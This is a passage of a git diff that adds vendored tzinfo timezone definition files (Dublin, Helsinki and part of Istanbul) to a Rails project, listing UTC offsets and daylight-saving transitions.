tz.transition 1994, 3, :o3, 764730000 + tz.transition 1994, 9, :o2, 780454800 + tz.transition 1995, 3, :o3, 796179600 + tz.transition 1995, 9, :o2, 811904400 + tz.transition 1996, 3, :o3, 828234000 + tz.transition 1996, 10, :o2, 846378000 + tz.transition 1997, 3, :o3, 859683600 + tz.transition 1997, 10, :o2, 877827600 + tz.transition 1998, 3, :o3, 891133200 + tz.transition 1998, 10, :o2, 909277200 + tz.transition 1999, 3, :o3, 922582800 + tz.transition 1999, 10, :o2, 941331600 + tz.transition 2000, 3, :o3, 954032400 + tz.transition 2000, 10, :o2, 972781200 + tz.transition 2001, 3, :o3, 985482000 + tz.transition 2001, 10, :o2, 1004230800 + tz.transition 2002, 3, :o3, 1017536400 + tz.transition 2002, 10, :o2, 1035680400 + tz.transition 2003, 3, :o3, 1048986000 + tz.transition 2003, 10, :o2, 1067130000 + tz.transition 2004, 3, :o3, 1080435600 + tz.transition 2004, 10, :o2, 1099184400 + tz.transition 2005, 3, :o3, 1111885200 + tz.transition 2005, 10, :o2, 1130634000 + tz.transition 2006, 3, :o3, 1143334800 + tz.transition 2006, 10, :o2, 1162083600 + tz.transition 2007, 3, :o3, 1174784400 + tz.transition 2007, 10, :o2, 1193533200 + tz.transition 2008, 3, :o3, 1206838800 + tz.transition 2008, 10, :o2, 1224982800 + tz.transition 2009, 3, :o3, 1238288400 + tz.transition 2009, 10, :o2, 1256432400 + tz.transition 2010, 3, :o3, 1269738000 + tz.transition 2010, 10, :o2, 1288486800 + tz.transition 2011, 3, :o3, 1301187600 + tz.transition 2011, 10, :o2, 1319936400 + tz.transition 2012, 3, :o3, 1332637200 + tz.transition 2012, 10, :o2, 1351386000 + tz.transition 2013, 3, :o3, 1364691600 + tz.transition 2013, 10, :o2, 1382835600 + tz.transition 2014, 3, :o3, 1396141200 + tz.transition 2014, 10, :o2, 1414285200 + tz.transition 2015, 3, :o3, 1427590800 + tz.transition 2015, 10, :o2, 1445734800 + tz.transition 2016, 3, :o3, 1459040400 + tz.transition 2016, 10, :o2, 1477789200 + tz.transition 2017, 3, :o3, 1490490000 + tz.transition 2017, 10, :o2, 1509238800 + tz.transition 2018, 3, :o3, 1521939600 + tz.transition 2018, 10, :o2, 1540688400 + tz.transition 2019, 3, :o3, 1553994000 + tz.transition 2019, 10, :o2, 1572138000 + tz.transition 2020, 3, :o3, 1585443600 + tz.transition 2020, 10, :o2, 1603587600 + tz.transition 2021, 3, :o3, 1616893200 + tz.transition 2021, 10, :o2, 1635642000 + tz.transition 2022, 3, :o3, 1648342800 + tz.transition 2022, 10, :o2, 1667091600 + tz.transition 2023, 3, :o3, 1679792400 + tz.transition 2023, 10, :o2, 1698541200 + tz.transition 2024, 3, :o3, 1711846800 + tz.transition 2024, 10, :o2, 1729990800 + tz.transition 2025, 3, :o3, 1743296400 + tz.transition 2025, 10, :o2, 1761440400 + tz.transition 2026, 3, :o3, 1774746000 + tz.transition 2026, 10, :o2, 1792890000 + tz.transition 2027, 3, :o3, 1806195600 + tz.transition 2027, 10, :o2, 1824944400 + tz.transition 2028, 3, :o3, 1837645200 + tz.transition 2028, 10, :o2, 1856394000 + tz.transition 2029, 3, :o3, 1869094800 + tz.transition 2029, 10, :o2, 1887843600 + tz.transition 2030, 3, :o3, 1901149200 + tz.transition 2030, 10, :o2, 1919293200 + tz.transition 2031, 3, :o3, 1932598800 + tz.transition 2031, 10, :o2, 1950742800 + tz.transition 2032, 3, :o3, 1964048400 + tz.transition 2032, 10, :o2, 1982797200 + tz.transition 2033, 3, :o3, 1995498000 + tz.transition 2033, 10, :o2, 2014246800 + tz.transition 2034, 3, :o3, 2026947600 + tz.transition 2034, 10, :o2, 2045696400 + tz.transition 2035, 3, :o3, 2058397200 + tz.transition 2035, 10, :o2, 2077146000 + tz.transition 2036, 3, :o3, 2090451600 + tz.transition 2036, 10, :o2, 2108595600 + tz.transition 2037, 3, :o3, 2121901200 + tz.transition 2037, 10, :o2, 2140045200 + tz.transition 2038, 3, :o3, 59172253, 24 + tz.transition 2038, 10, :o2, 59177461, 24 + tz.transition 2039, 3, :o3, 59180989, 24 + tz.transition 2039, 10, :o2, 59186197, 24 + tz.transition 2040, 3, :o3, 59189725, 24 + tz.transition 2040, 10, :o2, 59194933, 24 + tz.transition 2041, 3, :o3, 59198629, 24 + tz.transition 2041, 10, :o2, 59203669, 24 + tz.transition 2042, 3, :o3, 59207365, 24 + tz.transition 2042, 10, :o2, 59212405, 24 + tz.transition 2043, 3, :o3, 59216101, 24 + tz.transition 2043, 10, :o2, 59221141, 24 + tz.transition 2044, 3, :o3, 59224837, 24 + tz.transition 2044, 10, :o2, 59230045, 24 + tz.transition 2045, 3, :o3, 59233573, 24 + tz.transition 2045, 10, :o2, 59238781, 24 + tz.transition 2046, 3, :o3, 59242309, 24 + tz.transition 2046, 10, :o2, 59247517, 24 + tz.transition 2047, 3, :o3, 59251213, 24 + tz.transition 2047, 10, :o2, 59256253, 24 + tz.transition 2048, 3, :o3, 59259949, 24 + tz.transition 2048, 10, :o2, 59264989, 24 + tz.transition 2049, 3, :o3, 59268685, 24 + tz.transition 2049, 10, :o2, 59273893, 24 + tz.transition 2050, 3, :o3, 59277421, 24 + tz.transition 2050, 10, :o2, 59282629, 24 + end + end + end + end +end diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Dublin.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Dublin.rb new file mode 100644 index 00000000..0560bb54 --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Dublin.rb @@ -0,0 +1,276 @@ +require 'tzinfo/timezone_definition' + +module TZInfo + module Definitions + module Europe + module Dublin + include TimezoneDefinition + + timezone 'Europe/Dublin' do |tz| + tz.offset :o0, -1500, 0, :LMT + tz.offset :o1, -1521, 0, :DMT + tz.offset :o2, -1521, 3600, :IST + tz.offset :o3, 0, 0, :GMT + tz.offset :o4, 0, 3600, :BST + tz.offset :o5, 0, 3600, :IST + tz.offset :o6, 3600, 0, :IST + + tz.transition 1880, 8, :o1, 693483701, 288 + tz.transition 1916, 5, :o2, 7747214723, 3200 + tz.transition 1916, 10, :o3, 7747640323, 3200 + tz.transition 1917, 4, :o4, 29055919, 12 + tz.transition 1917, 9, :o3, 29057863, 12 + tz.transition 1918, 3, :o4, 29060119, 12 + tz.transition 1918, 9, :o3, 29062399, 12 + tz.transition 1919, 3, :o4, 29064571, 12 + tz.transition 1919, 9, :o3, 29066767, 12 + tz.transition 1920, 3, :o4, 29068939, 12 + tz.transition 1920, 10, :o3, 29071471, 12 + tz.transition 1921, 4, :o4, 29073391, 12 + tz.transition 1921, 10, :o3, 29075587, 12 + tz.transition 1922, 3, :o5, 29077675, 12 + tz.transition 1922, 10, :o3, 29080027, 12 + tz.transition 1923, 4, :o5, 29082379, 12 + tz.transition 1923, 9, :o3, 29084143, 12 + tz.transition 1924, 4, :o5, 29086663, 12 + tz.transition 1924, 9, :o3, 29088595, 12 + tz.transition 1925, 4, :o5, 29091115, 12 + tz.transition 1925, 10, :o3, 29093131, 12 + tz.transition 1926, 4, :o5, 29095483, 12 + tz.transition 1926, 10, :o3, 29097499, 12 + tz.transition 1927, 4, :o5, 29099767, 12 + tz.transition 1927, 10, :o3, 29101867, 12 + tz.transition 1928, 4, :o5, 29104303, 12 + tz.transition 1928, 10, :o3, 29106319, 12 + tz.transition 1929, 4, :o5, 29108671, 12 + tz.transition 1929, 10, :o3, 29110687, 12 + tz.transition 1930, 4, :o5, 29112955, 12 + tz.transition 1930, 10, :o3, 29115055, 12 + tz.transition 1931, 4, :o5, 29117407, 12 + tz.transition 1931, 10, :o3, 29119423, 12 + tz.transition 1932, 4, :o5, 29121775, 12 + tz.transition 1932, 10, :o3, 29123791, 12 + tz.transition 1933, 4, :o5, 29126059, 12 + tz.transition 1933, 10, :o3, 29128243, 12 + tz.transition 1934, 4, :o5, 29130595, 12 + tz.transition 1934, 10, :o3, 29132611, 12 + tz.transition 1935, 4, :o5, 29134879, 12 + tz.transition 1935, 10, :o3, 29136979, 12 + tz.transition 1936, 4, :o5, 29139331, 12 + tz.transition 1936, 10, :o3, 29141347, 12 + tz.transition 1937, 4, :o5, 29143699, 12 + tz.transition 1937, 10, :o3, 29145715, 12 + tz.transition 1938, 4, :o5, 29147983, 12 + tz.transition 1938, 10, :o3, 29150083, 12 + tz.transition 1939, 4, :o5, 29152435, 12 + tz.transition 1939, 11, :o3, 29155039, 12 + tz.transition 1940, 2, :o5, 29156215, 12 + tz.transition 1946, 10, :o3, 58370389, 24 + tz.transition 1947, 3, :o5, 29187127, 12 + tz.transition 1947, 11, :o3, 58379797, 24 + tz.transition 1948, 4, :o5, 29191915, 12 + tz.transition 1948, 10, :o3, 29194267, 12 + tz.transition 1949, 4, :o5, 29196115, 12 + tz.transition 1949, 10, :o3, 29198635, 12 + tz.transition 1950, 4, :o5, 29200651, 12 + tz.transition 1950, 10, :o3, 29202919, 12 + tz.transition 1951, 4, :o5, 29205019, 12 + tz.transition 1951, 10, :o3, 29207287, 12 + tz.transition 1952, 4, :o5, 29209471, 12 + tz.transition 1952, 10, :o3, 29211739, 12 + tz.transition 1953, 4, :o5, 29213839, 12 + tz.transition 1953, 10, :o3, 29215855, 12 + tz.transition 1954, 4, :o5, 29218123, 12 + tz.transition 1954, 10, :o3, 29220223, 12 + tz.transition 1955, 4, :o5, 29222575, 12 + tz.transition 1955, 10, :o3, 29224591, 12 + tz.transition 1956, 4, :o5, 29227027, 12 + tz.transition 1956, 10, :o3, 29229043, 12 + tz.transition 1957, 4, :o5, 29231311, 12 + tz.transition 1957, 10, :o3, 29233411, 12 + tz.transition 1958, 4, :o5, 29235763, 12 + tz.transition 1958, 10, :o3, 29237779, 12 + tz.transition 1959, 4, :o5, 29240131, 12 + tz.transition 1959, 10, :o3, 29242147, 12 + tz.transition 1960, 4, :o5, 29244415, 12 + tz.transition 1960, 10, :o3, 29246515, 12 + tz.transition 1961, 3, :o5, 29248615, 12 + tz.transition 1961, 10, :o3, 29251219, 12 + tz.transition 1962, 3, :o5, 29252983, 12 + tz.transition 1962, 10, :o3, 29255587, 12 + tz.transition 1963, 3, :o5, 29257435, 12 + tz.transition 1963, 10, :o3, 29259955, 12 + tz.transition 1964, 3, :o5, 29261719, 12 + tz.transition 1964, 10, :o3, 29264323, 12 + tz.transition 1965, 3, :o5, 29266087, 12 + tz.transition 1965, 10, :o3, 29268691, 12 + tz.transition 1966, 3, :o5, 29270455, 12 + tz.transition 1966, 10, :o3, 29273059, 12 + tz.transition 1967, 3, :o5, 29274823, 12 + tz.transition 1967, 10, :o3, 29277511, 12 + tz.transition 1968, 2, :o5, 29278855, 12 + tz.transition 1968, 10, :o6, 58563755, 24 + tz.transition 1971, 10, :o3, 57722400 + tz.transition 1972, 3, :o5, 69818400 + tz.transition 1972, 10, :o3, 89172000 + tz.transition 1973, 3, :o5, 101268000 + tz.transition 1973, 10, :o3, 120621600 + tz.transition 1974, 3, :o5, 132717600 + tz.transition 1974, 10, :o3, 152071200 + tz.transition 1975, 3, :o5, 164167200 + tz.transition 1975, 10, :o3, 183520800 + tz.transition 1976, 3, :o5, 196221600 + tz.transition 1976, 10, :o3, 214970400 + tz.transition 1977, 3, :o5, 227671200 + tz.transition 1977, 10, :o3, 246420000 + tz.transition 1978, 3, :o5, 259120800 + tz.transition 1978, 10, :o3, 278474400 + tz.transition 1979, 3, :o5, 290570400 + tz.transition 1979, 10, :o3, 309924000 + tz.transition 1980, 3, :o5, 322020000 + tz.transition 1980, 10, :o3, 341373600 + tz.transition 1981, 3, :o5, 354675600 + tz.transition 1981, 10, :o3, 372819600 + tz.transition 1982, 3, :o5, 386125200 + tz.transition 1982, 10, :o3, 404269200 + tz.transition 1983, 3, :o5, 417574800 + tz.transition 1983, 10, :o3, 435718800 + tz.transition 1984, 3, :o5, 449024400 + tz.transition 1984, 10, :o3, 467773200 + tz.transition 1985, 3, :o5, 481078800 + tz.transition 1985, 10, :o3, 499222800 + tz.transition 1986, 3, :o5, 512528400 + tz.transition 1986, 10, :o3, 530672400 + tz.transition 1987, 3, :o5, 543978000 + tz.transition 1987, 10, :o3, 562122000 + tz.transition 1988, 3, :o5, 575427600 + tz.transition 1988, 10, :o3, 593571600 + tz.transition 1989, 3, :o5, 606877200 + tz.transition 1989, 10, :o3, 625626000 + tz.transition 1990, 3, :o5, 638326800 + tz.transition 1990, 10, :o3, 657075600 + tz.transition 1991, 3, :o5, 670381200 + tz.transition 1991, 10, :o3, 688525200 + tz.transition 1992, 3, :o5, 701830800 + tz.transition 1992, 10, :o3, 719974800 + tz.transition 1993, 3, :o5, 733280400 + tz.transition 1993, 10, :o3, 751424400 + tz.transition 1994, 3, :o5, 764730000 + tz.transition 1994, 10, :o3, 782874000 + tz.transition 1995, 3, :o5, 796179600 + tz.transition 1995, 10, :o3, 814323600 + tz.transition 1996, 3, :o5, 828234000 + tz.transition 1996, 10, :o3, 846378000 + tz.transition 1997, 3, :o5, 859683600 + tz.transition 1997, 10, :o3, 877827600 + tz.transition 1998, 3, :o5, 891133200 + tz.transition 1998, 10, :o3, 909277200 + tz.transition 1999, 3, :o5, 922582800 + tz.transition 1999, 10, :o3, 941331600 + tz.transition 2000, 3, :o5, 954032400 + tz.transition 2000, 10, :o3, 972781200 + tz.transition 2001, 3, :o5, 985482000 + tz.transition 2001, 10, :o3, 1004230800 + tz.transition 2002, 3, :o5, 1017536400 + tz.transition 2002, 10, :o3, 1035680400 + tz.transition 2003, 3, :o5, 1048986000 + tz.transition 2003, 10, :o3, 1067130000 + tz.transition 2004, 3, :o5, 1080435600 + tz.transition 2004, 10, :o3, 1099184400 + tz.transition 2005, 3, :o5, 1111885200 + tz.transition 2005, 10, :o3, 1130634000 + tz.transition 2006, 3, :o5, 1143334800 + tz.transition 2006, 10, :o3, 1162083600 + tz.transition 2007, 3, :o5, 1174784400 + tz.transition 2007, 10, :o3, 1193533200 + tz.transition 2008, 3, :o5, 1206838800 + tz.transition 2008, 10, :o3, 1224982800 + tz.transition 2009, 3, :o5, 1238288400 + tz.transition 2009, 10, :o3, 1256432400 + tz.transition 2010, 3, :o5, 1269738000 + tz.transition 2010, 10, :o3, 1288486800 + tz.transition 2011, 3, :o5, 1301187600 + tz.transition 2011, 10, :o3, 1319936400 + tz.transition 2012, 3, :o5, 1332637200 + tz.transition 2012, 10, :o3, 1351386000 + tz.transition 2013, 3, :o5, 1364691600 + tz.transition 2013, 10, :o3, 1382835600 + tz.transition 2014, 3, :o5, 1396141200 + tz.transition 2014, 10, :o3, 1414285200 + tz.transition 2015, 3, :o5, 1427590800 + tz.transition 2015, 10, :o3, 1445734800 + tz.transition 2016, 3, :o5, 1459040400 + tz.transition 2016, 10, :o3, 1477789200 + tz.transition 2017, 3, :o5, 1490490000 + tz.transition 2017, 10, :o3, 1509238800 + tz.transition 2018, 3, :o5, 1521939600 + tz.transition 2018, 10, :o3, 1540688400 + tz.transition 2019, 3, :o5, 1553994000 + tz.transition 2019, 10, :o3, 1572138000 + tz.transition 2020, 3, :o5, 1585443600 + tz.transition 2020, 10, :o3, 1603587600 + tz.transition 2021, 3, :o5, 1616893200 + tz.transition 2021, 10, :o3, 1635642000 + tz.transition 2022, 3, :o5, 1648342800 + tz.transition 2022, 10, :o3, 1667091600 + tz.transition 2023, 3, :o5, 1679792400 + tz.transition 2023, 10, :o3, 1698541200 + tz.transition 2024, 3, :o5, 1711846800 + tz.transition 2024, 10, :o3, 1729990800 + tz.transition 2025, 3, :o5, 1743296400 + tz.transition 2025, 10, :o3, 1761440400 + tz.transition 2026, 3, :o5, 1774746000 + tz.transition 2026, 10, :o3, 1792890000 + tz.transition 2027, 3, :o5, 1806195600 + tz.transition 2027, 10, :o3, 1824944400 + tz.transition 2028, 3, :o5, 1837645200 + tz.transition 2028, 10, :o3, 1856394000 + tz.transition 2029, 3, :o5, 1869094800 + tz.transition 2029, 10, :o3, 1887843600 + tz.transition 2030, 3, :o5, 1901149200 + tz.transition 2030, 10, :o3, 1919293200 + tz.transition 2031, 3, :o5, 1932598800 + tz.transition 2031, 10, :o3, 1950742800 + tz.transition 2032, 3, :o5, 1964048400 + tz.transition 2032, 10, :o3, 1982797200 + tz.transition 2033, 3, :o5, 1995498000 + tz.transition 2033, 10, :o3, 2014246800 + tz.transition 2034, 3, :o5, 2026947600 + tz.transition 2034, 10, :o3, 2045696400 + tz.transition 2035, 3, :o5, 2058397200 + tz.transition 2035, 10, :o3, 2077146000 + tz.transition 2036, 3, :o5, 2090451600 + tz.transition 2036, 10, :o3, 2108595600 + tz.transition 2037, 3, :o5, 2121901200 + tz.transition 2037, 10, :o3, 2140045200 + tz.transition 2038, 3, :o5, 59172253, 24 + tz.transition 2038, 10, :o3, 59177461, 24 + tz.transition 2039, 3, :o5, 59180989, 24 + tz.transition 2039, 10, :o3, 59186197, 24 + tz.transition 2040, 3, :o5, 59189725, 24 + tz.transition 2040, 10, :o3, 59194933, 24 + tz.transition 2041, 3, :o5, 59198629, 24 + tz.transition 2041, 10, :o3, 59203669, 24 + tz.transition 2042, 3, :o5, 59207365, 24 + tz.transition 2042, 10, :o3, 59212405, 24 + tz.transition 2043, 3, :o5, 59216101, 24 + tz.transition 2043, 10, :o3, 59221141, 24 + tz.transition 2044, 3, :o5, 59224837, 24 + tz.transition 2044, 10, :o3, 59230045, 24 + tz.transition 2045, 3, :o5, 59233573, 24 + tz.transition 2045, 10, :o3, 59238781, 24 + tz.transition 2046, 3, :o5, 59242309, 24 + tz.transition 2046, 10, :o3, 59247517, 24 + tz.transition 2047, 3, :o5, 59251213, 24 + tz.transition 2047, 10, :o3, 59256253, 24 + tz.transition 2048, 3, :o5, 59259949, 24 + tz.transition 2048, 10, :o3, 59264989, 24 + tz.transition 2049, 3, :o5, 59268685, 24 + tz.transition 2049, 10, :o3, 59273893, 24 + tz.transition 2050, 3, :o5, 59277421, 24 + tz.transition 2050, 10, :o3, 59282629, 24 + end + end + end + end +end diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Helsinki.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Helsinki.rb new file mode 100644 index 00000000..13a806bc --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Helsinki.rb @@ -0,0 +1,163 @@ +require 'tzinfo/timezone_definition' + +module TZInfo + module Definitions + module Europe + module Helsinki + include TimezoneDefinition + + timezone 'Europe/Helsinki' do |tz| + tz.offset :o0, 5992, 0, :LMT + tz.offset :o1, 5992, 0, :HMT + tz.offset :o2, 7200, 0, :EET + tz.offset :o3, 7200, 3600, :EEST + + tz.transition 1878, 5, :o1, 25997062651, 10800 + tz.transition 1921, 4, :o2, 26166352651, 10800 + tz.transition 1942, 4, :o3, 29165429, 12 + tz.transition 1942, 10, :o2, 19445083, 8 + tz.transition 1981, 3, :o3, 354675600 + tz.transition 1981, 9, :o2, 370400400 + tz.transition 1982, 3, :o3, 386125200 + tz.transition 1982, 9, :o2, 401850000 + tz.transition 1983, 3, :o3, 417574800 + tz.transition 1983, 9, :o2, 433299600 + tz.transition 1984, 3, :o3, 449024400 + tz.transition 1984, 9, :o2, 465354000 + tz.transition 1985, 3, :o3, 481078800 + tz.transition 1985, 9, :o2, 496803600 + tz.transition 1986, 3, :o3, 512528400 + tz.transition 1986, 9, :o2, 528253200 + tz.transition 1987, 3, :o3, 543978000 + tz.transition 1987, 9, :o2, 559702800 + tz.transition 1988, 3, :o3, 575427600 + tz.transition 1988, 9, :o2, 591152400 + tz.transition 1989, 3, :o3, 606877200 + tz.transition 1989, 9, :o2, 622602000 + tz.transition 1990, 3, :o3, 638326800 + tz.transition 1990, 9, :o2, 654656400 + tz.transition 1991, 3, :o3, 670381200 + tz.transition 1991, 9, :o2, 686106000 + tz.transition 1992, 3, :o3, 701830800 + tz.transition 1992, 9, :o2, 717555600 + tz.transition 1993, 3, :o3, 733280400 + tz.transition 1993, 9, :o2, 749005200 + tz.transition 1994, 3, :o3, 764730000 + tz.transition 1994, 9, :o2, 780454800 + tz.transition 1995, 3, :o3, 796179600 + tz.transition 1995, 9, :o2, 811904400 + tz.transition 1996, 3, :o3, 828234000 + tz.transition 1996, 10, :o2, 846378000 + tz.transition 1997, 3, :o3, 859683600 + tz.transition 1997, 10, :o2, 877827600 + tz.transition 1998, 3, :o3, 891133200 + tz.transition 1998, 10, :o2, 909277200 + tz.transition 1999, 3, :o3, 922582800 + tz.transition 1999, 10, :o2, 941331600 + tz.transition 2000, 3, :o3, 954032400 + tz.transition 2000, 10, :o2, 972781200 + tz.transition 2001, 3, :o3, 985482000 + tz.transition 2001, 10, :o2, 1004230800 + tz.transition 2002, 3, :o3, 1017536400 + tz.transition 2002, 10, :o2, 1035680400 + tz.transition 2003, 3, :o3, 1048986000 + tz.transition 2003, 10, :o2, 1067130000 + tz.transition 2004, 3, :o3, 1080435600 + tz.transition 2004, 10, :o2, 1099184400 + tz.transition 2005, 3, :o3, 1111885200 + tz.transition 2005, 10, :o2, 1130634000 + tz.transition 2006, 3, :o3, 1143334800 + tz.transition 2006, 10, :o2, 1162083600 + tz.transition 2007, 3, :o3, 1174784400 + tz.transition 2007, 10, :o2, 1193533200 + tz.transition 2008, 3, :o3, 1206838800 + tz.transition 2008, 10, :o2, 1224982800 + tz.transition 2009, 3, :o3, 1238288400 + tz.transition 2009, 10, :o2, 1256432400 + tz.transition 2010, 3, :o3, 1269738000 + tz.transition 2010, 10, :o2, 1288486800 + tz.transition 2011, 3, :o3, 1301187600 + tz.transition 2011, 10, :o2, 1319936400 + tz.transition 2012, 3, :o3, 1332637200 + tz.transition 2012, 10, :o2, 1351386000 + tz.transition 2013, 3, :o3, 1364691600 + tz.transition 2013, 10, :o2, 1382835600 + tz.transition 2014, 3, :o3, 1396141200 + tz.transition 2014, 10, :o2, 1414285200 + tz.transition 2015, 3, :o3, 1427590800 + tz.transition 2015, 10, :o2, 1445734800 + tz.transition 2016, 3, :o3, 1459040400 + tz.transition 2016, 10, :o2, 1477789200 + tz.transition 2017, 3, :o3, 1490490000 + tz.transition 2017, 10, :o2, 1509238800 + tz.transition 2018, 3, :o3, 1521939600 + tz.transition 2018, 10, :o2, 1540688400 + tz.transition 2019, 3, :o3, 1553994000 + tz.transition 2019, 10, :o2, 1572138000 + tz.transition 2020, 3, :o3, 1585443600 + tz.transition 2020, 10, :o2, 1603587600 + tz.transition 2021, 3, :o3, 1616893200 + tz.transition 2021, 10, :o2, 1635642000 + tz.transition 2022, 3, :o3, 1648342800 + tz.transition 2022, 10, :o2, 1667091600 + tz.transition 2023, 3, :o3, 1679792400 + tz.transition 2023, 10, :o2, 1698541200 + tz.transition 2024, 3, :o3, 1711846800 + tz.transition 2024, 10, :o2, 1729990800 + tz.transition 2025, 3, :o3, 1743296400 + tz.transition 2025, 10, :o2, 1761440400 + tz.transition 2026, 3, :o3, 1774746000 + tz.transition 2026, 10, :o2, 1792890000 + tz.transition 2027, 3, :o3, 1806195600 + tz.transition 2027, 10, :o2, 1824944400 + tz.transition 2028, 3, :o3, 1837645200 + tz.transition 2028, 10, :o2, 1856394000 + tz.transition 2029, 3, :o3, 1869094800 + tz.transition 2029, 10, :o2, 1887843600 + tz.transition 2030, 3, :o3, 1901149200 + tz.transition 2030, 10, :o2, 1919293200 + tz.transition 2031, 3, :o3, 1932598800 + tz.transition 2031, 10, :o2, 1950742800 + tz.transition 2032, 3, :o3, 1964048400 + tz.transition 2032, 10, :o2, 1982797200 + tz.transition 2033, 3, :o3, 1995498000 + tz.transition 2033, 10, :o2, 2014246800 + tz.transition 2034, 3, :o3, 2026947600 + tz.transition 2034, 10, :o2, 2045696400 + tz.transition 2035, 3, :o3, 2058397200 + tz.transition 2035, 10, :o2, 2077146000 + tz.transition 2036, 3, :o3, 2090451600 + tz.transition 2036, 10, :o2, 2108595600 + tz.transition 2037, 3, :o3, 2121901200 + tz.transition 2037, 10, :o2, 2140045200 + tz.transition 2038, 3, :o3, 59172253, 24 + tz.transition 2038, 10, :o2, 59177461, 24 + tz.transition 2039, 3, :o3, 59180989, 24 + tz.transition 2039, 10, :o2, 59186197, 24 + tz.transition 2040, 3, :o3, 59189725, 24 + tz.transition 2040, 10, :o2, 59194933, 24 + tz.transition 2041, 3, :o3, 59198629, 24 + tz.transition 2041, 10, :o2, 59203669, 24 + tz.transition 2042, 3, :o3, 59207365, 24 + tz.transition 2042, 10, :o2, 59212405, 24 + tz.transition 2043, 3, :o3, 59216101, 24 + tz.transition 2043, 10, :o2, 59221141, 24 + tz.transition 2044, 3, :o3, 59224837, 24 + tz.transition 2044, 10, :o2, 59230045, 24 + tz.transition 2045, 3, :o3, 59233573, 24 + tz.transition 2045, 10, :o2, 59238781, 24 + tz.transition 2046, 3, :o3, 59242309, 24 + tz.transition 2046, 10, :o2, 59247517, 24 + tz.transition 2047, 3, :o3, 59251213, 24 + tz.transition 2047, 10, :o2, 59256253, 24 + tz.transition 2048, 3, :o3, 59259949, 24 + tz.transition 2048, 10, :o2, 59264989, 24 + tz.transition 2049, 3, :o3, 59268685, 24 + tz.transition 2049, 10, :o2, 59273893, 24 + tz.transition 2050, 3, :o3, 59277421, 24 + tz.transition 2050, 10, :o2, 59282629, 24 + end + end + end + end +end diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Istanbul.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Istanbul.rb new file mode 100644 index 00000000..8306c475 --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Istanbul.rb @@ -0,0 +1,218 @@ +require 'tzinfo/timezone_definition' + +module TZInfo + module Definitions + module Europe + module Istanbul + include TimezoneDefinition + + timezone 'Europe/Istanbul' do |tz| + tz.offset :o0, 6952, 0, :LMT + tz.offset :o1, 7016, 0, :IMT + tz.offset :o2, 7200, 0, :EET + tz.offset :o3, 7200, 3600, :EEST + tz.offset :o4, 10800, 3600, :TRST + tz.offset :o5, 10800, 0, :TRT + + tz.transition 1879, 12, :o1, 26003326531, 10800 + tz.transition 1910, 9, :o2, 26124610523, 10800 + tz.transition 1916, 4, :o3, 29051813, 12 + tz.transition 1916, 9, :o2, 19369099, 8 + tz.transition 1920, 3, :o3, 29068937, 12 + tz.transition 1920, 10, :o2, 19380979, 8 + tz.transition 1921, 4, :o3, 29073389, 12 + tz.transition 1921, 10, :o2, 19383723, 8 + tz.transition 1922, 3, :o3, 29077673, 12 + tz.transition 1922, 10, :o2, 19386683, 8 + tz.transition 1924, 5, :o3, 29087021, 12 + tz.transition 1924, 9, :o2, 19392475, 8 + tz.transition 1925, 4, :o3, 29091257, 12 + tz.transition 1925, 9, :o2, 19395395, 8 + tz.transition 1940, 6, :o3, 29157725, 12 + tz.transition 1940, 10, :o2, 19439259, 8 + tz.transition 1940, 11, :o3, 29159573, 12 + tz.transition 1941, 9, :o2, 19442067, 8 + tz.transition 1942, 3, :o3, 29165405, 12 + tz.transition 1942, 10, :o2, 19445315, 8 + tz.transition 1945, 4, :o3, 29178569, 12 + tz.transition 1945, 10, :o2, 19453891, 8 + tz.transition 1946, 5, :o3, 29183669, 12 + tz.transition 1946, 9, :o2, 19456755, 8 + tz.transition 1947, 4, :o3, 29187545, 12 + tz.transition 1947, 10, :o2, 19459707, 8 + tz.transition 1948, 4, :o3, 29191913, 12 + tz.transition 1948, 10, :o2, 19462619, 8 + tz.transition 1949, 4, :o3, 29196197, 12 + tz.transition 1949, 10, :o2, 19465531, 8 + tz.transition 1950, 4, :o3, 29200685, 12 + tz.transition 1950, 10, :o2, 19468499, 8 + tz.transition 1951, 4, :o3, 29205101, 12 + tz.transition 1951, 10, :o2, 19471419, 8 + tz.transition 1962, 7, :o3, 29254325, 12 + tz.transition 1962, 10, :o2, 19503563, 8 + tz.transition 1964, 5, :o3, 29262365, 12 + tz.transition 1964, 9, :o2, 19509355, 8 + tz.transition 1970, 5, :o3, 10533600 + tz.transition 1970, 10, :o2, 23835600 + tz.transition 1971, 5, :o3, 41983200 + tz.transition 1971, 10, :o2, 55285200 + tz.transition 1972, 5, :o3, 74037600 + tz.transition 1972, 10, :o2, 87339600 + tz.transition 1973, 6, :o3, 107910000 + tz.transition 1973, 11, :o2, 121219200 + tz.transition 1974, 3, :o3, 133920000 + tz.transition 1974, 11, :o2, 152676000 + tz.transition 1975, 3, :o3, 165362400 + tz.transition 1975, 10, :o2, 183502800 + tz.transition 1976, 5, :o3, 202428000 + tz.transition 1976, 10, :o2, 215557200 + tz.transition 1977, 4, :o3, 228866400 + tz.transition 1977, 10, :o2, 245797200 + tz.transition 1978, 4, :o3, 260316000 + tz.transition 1978, 10, :o4, 277246800 + tz.transition 1979, 10, :o5, 308779200 + tz.transition 1980, 4, :o4, 323827200 + tz.transition 1980, 10, :o5, 340228800 + tz.transition 1981, 3, :o4, 354672000 + tz.transition 1981, 10, :o5, 371678400 + tz.transition 1982, 3, :o4, 386121600 + tz.transition 1982, 10, :o5, 403128000 + tz.transition 1983, 7, :o4, 428446800 + tz.transition 1983, 10, :o5, 433886400 + tz.transition 1985, 4, :o3, 482792400 + tz.transition 1985, 9, :o2, 496702800 + tz.transition 1986, 3, :o3, 512524800 + tz.transition 1986, 9, :o2, 528249600 + tz.transition 1987, 3, :o3, 543974400 + tz.transition 1987, 9, :o2, 559699200 + tz.transition 